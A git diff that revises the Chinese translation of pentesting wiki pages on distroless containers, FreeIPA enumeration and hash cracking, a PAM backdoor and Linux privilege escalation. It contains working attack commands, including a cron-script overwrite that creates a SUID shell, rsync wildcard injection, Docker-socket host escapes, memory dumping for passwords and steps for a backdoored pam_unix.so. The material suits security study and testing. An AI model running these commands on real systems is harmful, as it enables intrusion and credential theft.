与 DDexec 具有类似目的的 [**memdlopen**](https://github.com/arget13/memdlopen) 技术允许以 **更简单的方式加载二进制文件** 到内存中以便稍后执行。它甚至可以允许加载具有依赖关系的二进制文件。
|
||||
与 DDexec 目的相似, [**memdlopen**](https://github.com/arget13/memdlopen) 技术允许以 **更简单的方式在内存中加载二进制文件** 以便后续执行。它甚至可以加载带有依赖项的二进制文件。
|
||||
|
||||
## Distroless Bypass
|
||||
|
||||
@ -90,12 +90,12 @@ Distroless 容器的目标是 **通过消除不必要的组件来减少容器的
|
||||
|
||||
### 反向 Shell
|
||||
|
||||
在 distroless 容器中,您可能 **甚至找不到 `sh` 或 `bash`** 来获取常规 shell。您也不会找到诸如 `ls`、`whoami`、`id` 等二进制文件……您通常在系统中运行的所有内容。
|
||||
在 distroless 容器中,您可能 **甚至找不到 `sh` 或 `bash`** 来获取常规 shell。您也不会找到 `ls`、`whoami`、`id` 等二进制文件……您通常在系统中运行的所有内容。
|
||||
|
||||
> [!WARNING]
|
||||
> 因此,您 **将无法** 获取 **反向 shell** 或 **枚举** 系统,如您通常所做的那样。
|
||||
|
||||
然而,如果被攻陷的容器正在运行例如 flask web,那么 python 已安装,因此您可以获取 **Python 反向 shell**。如果它正在运行 node,您可以获取 Node 反向 shell,几乎任何 **脚本语言** 也是如此。
|
||||
然而,如果被攻陷的容器正在运行例如 flask web,那么 python 已安装,因此您可以获取 **Python 反向 shell**。如果它正在运行 node,您可以获取 Node rev shell,其他大多数 **脚本语言** 也是如此。
|
||||
|
||||
> [!TIP]
|
||||
> 使用脚本语言,您可以 **使用语言功能枚举系统**。
|
||||
|
||||
@ -4,20 +4,20 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
FreeIPA 是一个开源的 **替代方案**,用于 Microsoft Windows **Active Directory**,主要针对 **Unix** 环境。它结合了一个完整的 **LDAP 目录** 和一个 MIT **Kerberos** 密钥分发中心,管理方式类似于 Active Directory。利用 Dogtag **证书系统** 进行 CA 和 RA 证书管理,支持 **多因素** 认证,包括智能卡。SSSD 集成用于 Unix 认证过程。
|
||||
FreeIPA 是一个开源的 **替代方案**,用于 Microsoft Windows **Active Directory**,主要针对 **Unix** 环境。它结合了完整的 **LDAP 目录** 和 MIT **Kerberos** 密钥分发中心,管理方式类似于 Active Directory。利用 Dogtag **证书系统** 进行 CA 和 RA 证书管理,支持 **多因素** 认证,包括智能卡。SSSD 集成用于 Unix 认证过程。
|
||||
|
||||
## 指纹
|
||||
|
||||
### 文件和环境变量
|
||||
|
||||
- Kerberos 客户端信息存储在 `/etc/krb5.conf` 文件中,这是加入域所必需的。这包括 KDC 和管理员服务器的位置、默认设置和映射。
|
||||
- IPA 客户端和服务器的系统范围默认设置在 `/etc/ipa/default.conf` 文件中。
|
||||
- 文件 `/etc/krb5.conf` 存储 Kerberos 客户端信息,这是加入域所必需的。这包括 KDC 和管理员服务器的位置、默认设置和映射。
|
||||
- IPA 客户端和服务器的系统范围默认设置在文件 `/etc/ipa/default.conf` 中设置。
|
||||
- 域内的主机必须在 `/etc/krb5.keytab` 处拥有 `krb5.keytab` 文件以进行认证过程。
|
||||
- 各种环境变量(`KRB5CCNAME`、`KRB5_KTNAME`、`KRB5_CONFIG`、`KRB5_KDC_PROFILE`、`KRB5RCACHETYPE`、`KRB5RCACHEDIR`、`KRB5_TRACE`、`KRB5_CLIENT_KTNAME`、`KPROP_PORT`)用于指向与 Kerberos 认证相关的特定文件和设置。
|
||||
|
||||
### 二进制文件
|
||||
|
||||
工具如 `ipa`、`kdestroy`、`kinit`、`klist`、`kpasswd`、`ksu`、`kswitch` 和 `kvno` 是管理 FreeIPA 域、处理 Kerberos 票证、修改密码和获取服务票证等功能的核心。
|
||||
工具如 `ipa`、`kdestroy`、`kinit`、`klist`、`kpasswd`、`ksu`、`kswitch` 和 `kvno` 是管理 FreeIPA 域、处理 Kerberos 票证、修改密码和获取服务票证等功能的关键。
|
||||
|
||||
### 网络
|
||||
|
||||
@ -35,9 +35,9 @@ CCACHE 文件通常存储在 **`/tmp`** 中,权限为 **600**,是用于存
|
||||
|
||||
另外,CCACHE 票证可以存储在 Linux 密钥环中,提供对票证管理的更多控制。票证存储的范围各异(`KEYRING:name`、`KEYRING:process:name`、`KEYRING:thread:name`、`KEYRING:session:name`、`KEYRING:persistent:uidnumber`),`klist` 能够为用户解析这些信息。然而,从 Unix 密钥环重新使用 CCACHE 票证可能会面临挑战,像 **Tickey** 这样的工具可用于提取 Kerberos 票证。
|
||||
|
||||
### Keytab
|
||||
### 密钥表
|
||||
|
||||
Keytab 文件包含 Kerberos 主体和加密密钥,对于在不需要主体密码的情况下获取有效的票证授予票(TGT)至关重要。可以使用 `klist` 等实用程序和 **KeytabParser** 等脚本轻松解析和重新使用 keytab 文件中的凭据。
|
||||
密钥表文件包含 Kerberos 主体和加密密钥,对于在不需要主体密码的情况下获取有效的票证授予票(TGT)至关重要。可以使用 `klist` 等实用程序和 **KeytabParser** 等脚本轻松解析和重新使用密钥表文件中的凭据。
|
||||
|
||||
### 备忘单
|
||||
|
||||
@ -74,7 +74,7 @@ ldapsearch -Y gssapi -b "cn=computers,cn=accounts,dc=domain_name,dc=local"
|
||||
# Get hosts groups
|
||||
ldapsearch -Y gssapi -b "cn=hostgroups,cn=accounts,dc=domain_name,dc=local"
|
||||
```
|
||||
从域加入的机器上,您将能够使用 **已安装的二进制文件** 来枚举域:
|
||||
从域加入的机器上,您将能够使用**已安装的二进制文件**来枚举域:
|
||||
```bash
|
||||
ipa user-find
|
||||
ipa usergroup-find
|
||||
@ -88,15 +88,15 @@ ipa usergroup-show <user group> --all
|
||||
ipa host-find <host> --all
|
||||
ipa hostgroup-show <host group> --all
|
||||
```
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> **FreeIPA** 的 **admin** 用户相当于 **AD** 中的 **domain admins**。
|
||||
|
||||
### Hashes <a href="#id-482b" id="id-482b"></a>
|
||||
|
||||
**IPA server** 的 **root** 用户可以访问密码 **hashes**。
|
||||
|
||||
- 用户的密码 hash 存储为 **base64** 在“**userPassword**” **attribute** 中。这个 hash 可能是 **SSHA512**(旧版本的 FreeIPA)或 **PBKDF2_SHA256**。
|
||||
- 如果系统与 **AD** 有 **integration**,则密码的 **Nthash** 存储为 **base64** 在“**ipaNTHash**” 中。
|
||||
- 用户的密码 hash 存储为 **base64** 在 “**userPassword**” **attribute** 中。这个 hash 可能是 **SSHA512**(旧版本的 FreeIPA)或 **PBKDF2_SHA256**。
|
||||
- 如果系统与 **AD** 有 **integration**,则密码的 **Nthash** 存储为 **base64** 在 “**ipaNTHash**” 中。
|
||||
|
||||
要破解这些 hashes:
|
||||
|
||||
@ -104,7 +104,7 @@ ipa hostgroup-show <host group> --all
|
||||
|
||||
• 如果使用的是旧版本的 FreeIPA,则使用 **SSHA512**:你应该解码 **base64** -> 找到 SSHA512 **hash** -> John The Ripper 或 **hashcat** 可以帮助你破解
|
||||
|
||||
• 如果使用的是新版本的 FreeIPA,则使用 **PBKDF2_SHA256**:你应该解码 **base64** -> 找到 PBKDF2_SHA256 -> 它的 **length** 是 256 字节。John 可以处理 256 位(32 字节)-> SHA-265 用作伪随机函数,块大小为 32 字节 -> 你只能使用我们的 PBKDF2_SHA256 hash 的前 256 位 -> John The Ripper 或 hashcat 可以帮助你破解
|
||||
• 如果使用的是新版本的 FreeIPA,则使用 **PBKDF2_SHA256**:你应该解码 **base64** -> 找到 PBKDF2_SHA256 -> 它的 **length** 是 256 字节。John 可以处理 256 位(32 字节)-> SHA-265 用作伪随机函数,块大小为 32 字节 -> 你可以只使用我们的 PBKDF2_SHA256 hash 的前 256 位 -> John The Ripper 或 hashcat 可以帮助你破解
|
||||
|
||||
<figure><img src="../images/image (655).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -136,7 +136,7 @@ ipa sudorule-show <sudorule> --all
|
||||
```
|
||||
### 基于角色的访问控制
|
||||
|
||||
一个 **角色** 由各种 **特权** 组成,每个特权包含一组 **权限**。这些角色可以分配给用户、用户 **组**、**主机**、主机组和服务。例如,考虑 FreeIPA 中的默认“用户管理员”角色来举例说明这个结构。
|
||||
一个 **角色** 由各种 **特权** 组成,每个特权包含一组 **权限**。这些角色可以分配给用户、用户 **组**、**主机**、主机组和服务。例如,考虑 FreeIPA 中的默认“用户管理员”角色来说明这个结构。
|
||||
|
||||
角色 `User Administrator` 拥有以下特权:
|
||||
|
||||
|
||||
@ -13,7 +13,7 @@ pam-pluggable-authentication-modules.md
|
||||
**有关更多详细信息,请查看 [原始帖子](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**。这只是一个摘要:
|
||||
|
||||
**技术概述:**
|
||||
可插拔认证模块(PAM)在管理基于 Unix 的系统的认证方面提供了灵活性。它们可以通过自定义登录过程来增强安全性,但如果被滥用也会带来风险。此摘要概述了使用 PAM 捕获登录凭据的技术,以及缓解策略。
|
||||
可插拔认证模块(PAM)在管理基于 Unix 的系统的认证方面提供了灵活性。它们可以通过自定义登录过程来增强安全性,但如果使用不当也会带来风险。此摘要概述了一种使用 PAM 捕获登录凭据的技术,以及缓解策略。
|
||||
|
||||
**捕获凭据:**
|
||||
|
||||
@ -39,15 +39,15 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh
|
||||
|
||||
### 修改`pam_unix.so`的步骤:
|
||||
|
||||
1. **定位认证指令**在`common-auth`文件中:
|
||||
1. **定位`common-auth`文件中的认证指令**:
|
||||
- 负责检查用户密码的行调用`pam_unix.so`。
|
||||
2. **修改源代码**:
|
||||
- 在`pam_unix_auth.c`源文件中添加一个条件语句,如果使用预定义密码则授予访问权限,否则继续进行常规认证过程。
|
||||
3. **重新编译并替换**在适当目录中的修改后的`pam_unix.so`库。
|
||||
3. **重新编译并替换**修改后的`pam_unix.so`库到适当的目录。
|
||||
4. **测试**:
|
||||
- 使用预定义密码在各种服务(登录、ssh、sudo、su、屏幕保护程序)中授予访问权限,而正常的认证过程不受影响。
|
||||
|
||||
> [!NOTE]
|
||||
> 您可以使用[https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)自动化此过程
|
||||
> [!TIP]
|
||||
> 您可以使用[https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)自动化此过程。
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -12,7 +12,7 @@
|
||||
lsb_release -a 2>/dev/null # old, not by default on many systems
|
||||
cat /etc/os-release 2>/dev/null # universal on modern systems
|
||||
```
|
||||
### 路径
|
||||
### Path
|
||||
|
||||
如果您**对`PATH`变量中的任何文件夹具有写入权限**,您可能能够劫持某些库或二进制文件:
|
||||
```bash
|
||||
@ -39,17 +39,17 @@ searchsploit "Linux Kernel"
|
||||
```bash
|
||||
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
|
||||
```
|
||||
可以帮助搜索内核漏洞的工具有:
|
||||
可能有助于搜索内核漏洞的工具包括:
|
||||
|
||||
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
|
||||
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
|
||||
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)(在受害者上执行,仅检查2.x内核的漏洞)
|
||||
|
||||
始终**在Google中搜索内核版本**,也许你的内核版本在某个内核漏洞中被写入,这样你就可以确定该漏洞是有效的。
|
||||
始终**在Google中搜索内核版本**,也许您的内核版本在某个内核漏洞中被写入,这样您就可以确定该漏洞是有效的。
|
||||
|
||||
### CVE-2016-5195 (DirtyCow)
|
||||
|
||||
Linux权限提升 - Linux内核 <= 3.19.0-73.8
|
||||
Linux特权提升 - Linux内核 <= 3.19.0-73.8
|
||||
```bash
|
||||
# make dirtycow stable
|
||||
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
|
||||
@ -131,7 +131,7 @@ docker-security/
|
||||
|
||||
## Drives
|
||||
|
||||
检查**哪些是已挂载和未挂载的**,在哪里以及为什么。如果有任何未挂载的,你可以尝试挂载它并检查私人信息。
|
||||
检查**已挂载和未挂载的内容**,以及它们的位置和原因。如果有任何内容未挂载,你可以尝试挂载它并检查私人信息。
|
||||
```bash
|
||||
ls /dev 2>/dev/null | grep -i "sd"
|
||||
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
|
||||
@ -148,9 +148,9 @@ which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb bas
|
||||
```bash
|
||||
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
|
||||
```
|
||||
### 安装的易受攻击软件
|
||||
### 易受攻击的软件安装
|
||||
|
||||
检查**已安装软件包和服务的版本**。可能存在某些旧版的Nagios(例如),可以被利用来提升权限…\
|
||||
检查**已安装软件包和服务的版本**。可能有一些旧的Nagios版本(例如)可以被利用来提升权限…\
|
||||
建议手动检查更可疑的已安装软件的版本。
|
||||
```bash
|
||||
dpkg -l #Debian
|
||||
@ -162,14 +162,14 @@ rpm -qa #Centos
|
||||
|
||||
## Processes
|
||||
|
||||
查看 **正在执行的进程**,并检查是否有任何进程 **拥有超过应有的权限**(可能是由root执行的tomcat?)
|
||||
查看 **正在执行的进程**,并检查是否有任何进程具有 **超出其应有的权限**(例如,是否有由root执行的tomcat?)
|
||||
```bash
|
||||
ps aux
|
||||
ps -ef
|
||||
top -n 1
|
||||
```
|
||||
始终检查可能正在运行的 [**electron/cef/chromium debuggers**,您可以利用它来提升权限](electron-cef-chromium-debugger-abuse.md)。**Linpeas** 通过检查进程命令行中的 `--inspect` 参数来检测这些。\
|
||||
还要**检查您对进程二进制文件的权限**,也许您可以覆盖某个用户的文件。
|
||||
还要 **检查您对进程二进制文件的权限**,也许您可以覆盖某个用户的文件。
|
||||
|
||||
### 进程监控
|
||||
|
||||
@ -177,23 +177,23 @@ top -n 1
|
||||
|
||||
### 进程内存
|
||||
|
||||
某些服务器的服务在**内存中以明文保存凭据**。\
|
||||
通常,您需要**root 权限**才能读取属于其他用户的进程的内存,因此这通常在您已经是 root 并想要发现更多凭据时更有用。\
|
||||
某些服务器的服务会在 **内存中以明文保存凭据**。\
|
||||
通常,您需要 **root 权限** 才能读取属于其他用户的进程的内存,因此这通常在您已经是 root 并想要发现更多凭据时更有用。\
|
||||
但是,请记住,**作为普通用户,您可以读取您拥有的进程的内存**。
|
||||
|
||||
> [!WARNING]
|
||||
> 请注意,如今大多数机器**默认不允许 ptrace**,这意味着您无法转储属于您无权限用户的其他进程。
|
||||
> 请注意,如今大多数机器 **默认不允许 ptrace**,这意味着您无法转储属于您无权限用户的其他进程。
|
||||
>
|
||||
> 文件 _**/proc/sys/kernel/yama/ptrace_scope**_ 控制 ptrace 的可访问性:
|
||||
>
|
||||
> - **kernel.yama.ptrace_scope = 0**:所有进程都可以被调试,只要它们具有相同的 uid。这是 ptracing 的经典工作方式。
|
||||
> - **kernel.yama.ptrace_scope = 0**:所有进程都可以被调试,只要它们具有相同的 uid。这是 ptracing 工作的经典方式。
|
||||
> - **kernel.yama.ptrace_scope = 1**:只有父进程可以被调试。
|
||||
> - **kernel.yama.ptrace_scope = 2**:只有管理员可以使用 ptrace,因为它需要 CAP_SYS_PTRACE 能力。
|
||||
> - **kernel.yama.ptrace_scope = 3**:不允许使用 ptrace 跟踪任何进程。一旦设置,需要重启才能再次启用 ptracing。
|
||||
|
||||
#### GDB
|
||||
|
||||
如果您可以访问 FTP 服务的内存(例如),您可以获取堆并在其凭据中进行搜索。
|
||||
如果您可以访问 FTP 服务的内存(例如),您可以获取堆并在其中搜索凭据。
|
||||
```bash
|
||||
gdb -p <FTP_PROCESS_PID>
|
||||
(gdb) info proc mappings
|
||||
@ -215,7 +215,7 @@ done
|
||||
```
|
||||
#### /proc/$pid/maps & /proc/$pid/mem
|
||||
|
||||
对于给定的进程 ID,**maps 显示该进程的** 虚拟地址空间内内存的映射方式;它还显示 **每个映射区域的权限**。**mem** 伪文件 **暴露了进程的内存本身**。通过 **maps** 文件,我们知道哪些 **内存区域是可读的** 及其偏移量。我们使用这些信息 **在 mem 文件中查找并将所有可读区域转储到文件中**。
|
||||
对于给定的进程 ID,**maps 显示该进程的**虚拟地址空间内如何映射内存;它还显示**每个映射区域的权限**。**mem** 伪文件**暴露了进程的内存本身**。通过**maps** 文件,我们知道哪些**内存区域是可读的**及其偏移量。我们使用这些信息**在 mem 文件中查找并将所有可读区域转储到文件中**。
|
||||
```bash
|
||||
procdump()
|
||||
(
|
||||
@ -237,7 +237,7 @@ strings /dev/mem -n10 | grep -i PASS
|
||||
```
|
||||
### ProcDump for linux
|
||||
|
||||
ProcDump 是 Sysinternals 工具套件中经典 ProcDump 工具的 Linux 版本。获取地址在 [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
|
||||
ProcDump 是 Sysinternals 工具套件中经典 ProcDump 工具在 Linux 上的重新构想。获取它在 [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
|
||||
```
|
||||
procdump -p 1714
|
||||
|
||||
@ -293,7 +293,7 @@ strings *.dump | grep -i password
|
||||
| 特性 | 进程名称 |
|
||||
| ------------------------------------------------ | -------------------- |
|
||||
| GDM 密码(Kali 桌面,Debian 桌面) | gdm-password |
|
||||
| Gnome 密钥环(Ubuntu 桌面,ArchLinux 桌面) | gnome-keyring-daemon |
|
||||
| Gnome Keyring(Ubuntu 桌面,ArchLinux 桌面) | gnome-keyring-daemon |
|
||||
| LightDM(Ubuntu 桌面) | lightdm |
|
||||
| VSFTPd(活动 FTP 连接) | vsftpd |
|
||||
| Apache2(活动 HTTP 基本认证会话) | apache2 |
|
||||
@ -327,8 +327,8 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul
|
||||
|
||||
(_注意用户 "user" 对 /home/user 具有写入权限_)
|
||||
|
||||
如果在这个 crontab 中,root 用户尝试执行某个命令或脚本而没有设置路径。例如: _\* \* \* \* root overwrite.sh_\
|
||||
然后,你可以通过使用以下方式获得 root shell:
|
||||
如果在这个 crontab 中,root 用户尝试执行某个命令或脚本而不设置路径。例如: _\* \* \* \* root overwrite.sh_\
|
||||
然后,您可以通过使用获得 root shell:
|
||||
```bash
|
||||
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
|
||||
#Wait cron job to be executed
|
||||
@ -336,11 +336,11 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
|
||||
```
|
||||
### Cron 使用带通配符的脚本 (通配符注入)
|
||||
|
||||
如果由 root 执行的脚本在命令中包含“**\***”,您可以利用这一点来制造意想不到的事情(例如提权)。示例:
|
||||
如果由 root 执行的脚本在命令中包含“**\***”,您可以利用这一点来制造意想不到的事情(例如权限提升)。示例:
|
||||
```bash
|
||||
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
|
||||
```
|
||||
**如果通配符前面有一个路径,比如** _**/some/path/\***_ **,那么它是安全的(即使是** _**./\***_ **也不是)。**
|
||||
**如果通配符前面有一个路径,如** _**/some/path/\***_ **,则它不易受攻击(即使** _**./\***_ **也不行)。**
|
||||
|
||||
阅读以下页面以获取更多通配符利用技巧:
|
||||
|
||||
@ -350,7 +350,7 @@ wildcards-spare-tricks.md
|
||||
|
||||
### Cron 脚本覆盖和符号链接
|
||||
|
||||
如果你**可以修改一个由 root 执行的 cron 脚本**,你可以很容易地获得一个 shell:
|
||||
如果你**可以修改由 root 执行的 cron 脚本**,你可以非常轻松地获得一个 shell:
|
||||
```bash
|
||||
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
|
||||
#Wait until it is executed
|
||||
@ -399,13 +399,13 @@ ExecStart=faraday-server
|
||||
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
|
||||
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
|
||||
```
|
||||
然后,在您可以写入的 systemd PATH 文件夹中创建一个 **可执行文件**,其 **名称与相对路径二进制文件相同**,当服务被要求执行脆弱操作(**启动**,**停止**,**重新加载**)时,您的 **后门将被执行**(普通用户通常无法启动/停止服务,但请检查您是否可以使用 `sudo -l`)。
|
||||
然后,在您可以写入的 systemd PATH 文件夹中创建一个 **可执行文件**,其 **名称与相对路径二进制文件相同**,当服务被要求执行脆弱的操作(**启动**,**停止**,**重新加载**)时,您的 **后门将被执行**(普通用户通常无法启动/停止服务,但请检查您是否可以使用 `sudo -l`)。
|
||||
|
||||
**了解有关服务的更多信息,请参见 `man systemd.service`。**
|
||||
**了解更多关于服务的信息,请使用 `man systemd.service`。**
|
||||
|
||||
## **定时器**
|
||||
|
||||
**定时器** 是以 `**.timer**` 结尾的 systemd 单元文件,用于控制 `**.service**` 文件或事件。 **定时器** 可以作为 cron 的替代方案,因为它们内置支持日历时间事件和单调时间事件,并且可以异步运行。
|
||||
**定时器** 是以 `**.timer**` 结尾的 systemd 单元文件,用于控制 `**.service**` 文件或事件。**定时器** 可以作为 cron 的替代方案,因为它们内置支持日历时间事件和单调时间事件,并且可以异步运行。
|
||||
|
||||
您可以使用以下命令列出所有定时器:
|
||||
```bash
|
||||
@ -413,7 +413,7 @@ systemctl list-timers --all
|
||||
```
|
||||
### 可写定时器
|
||||
|
||||
如果您可以修改定时器,则可以使其执行一些 systemd.unit 的实例(例如 `.service` 或 `.target`)
|
||||
如果您可以修改定时器,则可以使其执行某些 systemd.unit 的实例(如 `.service` 或 `.target`)
|
||||
```bash
|
||||
Unit=backdoor.service
|
||||
```
|
||||
@ -445,9 +445,9 @@ Unix 域套接字 (UDS) 使得在客户端-服务器模型中同一台或不同
|
||||
|
||||
**通过 `man systemd.socket` 了解更多关于套接字的信息。** 在此文件中,可以配置几个有趣的参数:
|
||||
|
||||
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 这些选项不同,但总结用于 **指示它将监听的位置**(AF_UNIX 套接字文件的路径,监听的 IPv4/6 和/或端口号等)
|
||||
- `Accept`: 接受一个布尔参数。如果 **true**,则为每个传入连接 **生成一个服务实例**,并且仅将连接套接字传递给它。如果 **false**,则所有监听套接字本身 **传递给启动的服务单元**,并且仅为所有连接生成一个服务单元。对于数据报套接字和 FIFO,此值被忽略,因为单个服务单元无条件处理所有传入流量。**默认为 false**。出于性能原因,建议仅以适合 `Accept=no` 的方式编写新守护进程。
|
||||
- `ExecStartPre`, `ExecStartPost`: 接受一个或多个命令行,这些命令在监听 **套接字**/FIFO 被 **创建** 和绑定之前或之后 **执行**。命令行的第一个标记必须是绝对文件名,后面跟着进程的参数。
|
||||
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 这些选项不同,但总结用于 **指示它将监听的位置**(AF_UNIX 套接字文件的路径,IPv4/6 和/或要监听的端口号等)
|
||||
- `Accept`: 接受一个布尔参数。如果 **true**,则为每个传入连接 **生成一个服务实例**,并且仅将连接套接字传递给它。如果 **false**,则所有监听套接字本身 **传递给启动的服务单元**,并且仅为所有连接生成一个服务单元。对于数据报套接字和 FIFO,此值被忽略,单个服务单元无条件处理所有传入流量。**默认为 false**。出于性能原因,建议仅以适合 `Accept=no` 的方式编写新守护进程。
|
||||
- `ExecStartPre`, `ExecStartPost`: 接受一个或多个命令行,这些命令在监听 **套接字**/FIFO 被 **创建** 和绑定之前或之后 **执行**。命令行的第一个标记必须是绝对文件名,后面跟随进程的参数。
|
||||
- `ExecStopPre`, `ExecStopPost`: 在监听 **套接字**/FIFO 被 **关闭** 和移除之前或之后 **执行** 的额外 **命令**。
|
||||
- `Service`: 指定 **在传入流量** 上 **激活** 的 **服务** 单元名称。此设置仅允许用于 Accept=no 的套接字。默认为与套接字同名的服务(后缀被替换)。在大多数情况下,不需要使用此选项。
|
||||
|
||||
@ -458,7 +458,7 @@ _请注意,系统必须使用该套接字文件配置,否则后门将不会
|
||||
|
||||
### 可写套接字
|
||||
|
||||
如果您 **识别到任何可写套接字**(_现在我们谈论的是 Unix 套接字,而不是配置 `.socket` 文件_),那么 **您可以与该套接字进行通信**,并可能利用一个漏洞。
|
||||
如果您 **识别到任何可写套接字**(_现在我们谈论的是 Unix 套接字,而不是配置 `.socket` 文件_),那么 **您可以与该套接字通信**,并可能利用一个漏洞。
|
||||
|
||||
### 枚举 Unix 套接字
|
||||
```bash
|
||||
@ -475,6 +475,7 @@ socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of
|
||||
```
|
||||
**利用示例:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
socket-command-injection.md
|
||||
{{#endref}}
|
||||
@ -485,15 +486,15 @@ socket-command-injection.md
|
||||
```bash
|
||||
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
|
||||
```
|
||||
如果套接字 **响应一个 HTTP** 请求,那么你可以 **与其通信**,并可能 **利用某些漏洞**。
|
||||
如果套接字 **响应一个 HTTP** 请求,那么你可以 **与之通信**,并可能 **利用某些漏洞**。
|
||||
|
||||
### 可写的 Docker 套接字
|
||||
|
||||
Docker 套接字,通常位于 `/var/run/docker.sock`,是一个关键文件,应该被保护。默认情况下,它对 `root` 用户和 `docker` 组的成员是可写的。拥有对这个套接字的写访问权限可能导致特权升级。以下是如何做到这一点的分解,以及在 Docker CLI 不可用时的替代方法。
|
||||
Docker 套接字,通常位于 `/var/run/docker.sock`,是一个关键文件,应该被保护。默认情况下,它对 `root` 用户和 `docker` 组的成员是可写的。拥有对这个套接字的写入权限可能导致权限提升。以下是如何做到这一点的分解,以及在 Docker CLI 不可用时的替代方法。
|
||||
|
||||
#### **使用 Docker CLI 进行特权升级**
|
||||
#### **使用 Docker CLI 进行权限提升**
|
||||
|
||||
如果你对 Docker 套接字具有写访问权限,可以使用以下命令来提升特权:
|
||||
如果你对 Docker 套接字具有写入权限,可以使用以下命令提升权限:
|
||||
```bash
|
||||
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
|
||||
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
|
||||
@ -532,13 +533,13 @@ Connection: Upgrade
|
||||
Upgrade: tcp
|
||||
```
|
||||
|
||||
在设置好 `socat` 连接后,您可以直接在容器中执行命令,拥有对主机文件系统的根级别访问权限。
|
||||
在设置好 `socat` 连接后,您可以直接在容器中以根级别访问主机的文件系统执行命令。
|
||||
|
||||
### 其他
|
||||
|
||||
请注意,如果您对 Docker 套接字具有写权限,因为您**在 `docker` 组内**,您有[**更多的权限提升方式**](interesting-groups-linux-pe/index.html#docker-group)。如果[**docker API 在某个端口上监听,您也可能能够妥协它**](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。
|
||||
请注意,如果您对 Docker 套接字具有写权限,因为您**在 `docker` 组内**,您有[**更多的权限提升方式**](interesting-groups-linux-pe/index.html#docker-group)。如果[**docker API 在某个端口上监听**,您也可能能够妥协它](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。
|
||||
|
||||
查看**更多从 Docker 中突破或滥用它以提升权限的方法**:
|
||||
查看**更多从 Docker 中突破或滥用它以提升权限的方法**在:
|
||||
|
||||
{{#ref}}
|
||||
docker-security/
|
||||
@ -564,13 +565,13 @@ runc-privilege-escalation.md
|
||||
|
||||
D-Bus 是一个复杂的 **进程间通信 (IPC) 系统**,使应用程序能够高效地交互和共享数据。它是为现代 Linux 系统设计的,提供了一个强大的框架,用于不同形式的应用程序通信。
|
||||
|
||||
该系统灵活多变,支持基本的 IPC,增强了进程之间的数据交换,类似于 **增强的 UNIX 域套接字**。此外,它有助于广播事件或信号,促进系统组件之间的无缝集成。例如,来自蓝牙守护进程的信号关于来电可以促使音乐播放器静音,从而提升用户体验。此外,D-Bus 支持远程对象系统,简化了应用程序之间的服务请求和方法调用,简化了传统上复杂的过程。
|
||||
该系统灵活多变,支持基本的 IPC,增强了进程之间的数据交换,类似于 **增强的 UNIX 域套接字**。此外,它有助于广播事件或信号,促进系统组件之间的无缝集成。例如,来自蓝牙守护进程的关于来电的信号可以促使音乐播放器静音,从而提升用户体验。此外,D-Bus 支持远程对象系统,简化了应用程序之间的服务请求和方法调用,简化了传统上复杂的过程。
|
||||
|
||||
D-Bus 基于 **允许/拒绝模型**,根据匹配策略规则的累积效果管理消息权限(方法调用、信号发射等)。这些策略指定与总线的交互,可能通过利用这些权限来允许权限提升。
|
||||
|
||||
在 `/etc/dbus-1/system.d/wpa_supplicant.conf` 中提供了一个此类策略的示例,详细说明了根用户拥有、发送和接收来自 `fi.w1.wpa_supplicant1` 的消息的权限。
|
||||
|
||||
没有指定用户或组的策略适用于所有情况,而“默认”上下文策略适用于所有未被其他特定策略覆盖的情况。
|
||||
没有指定用户或组的策略普遍适用,而“默认”上下文策略适用于所有未被其他特定策略覆盖的情况。
|
||||
```xml
|
||||
<policy user="root">
|
||||
<allow own="fi.w1.wpa_supplicant1"/>
|
||||
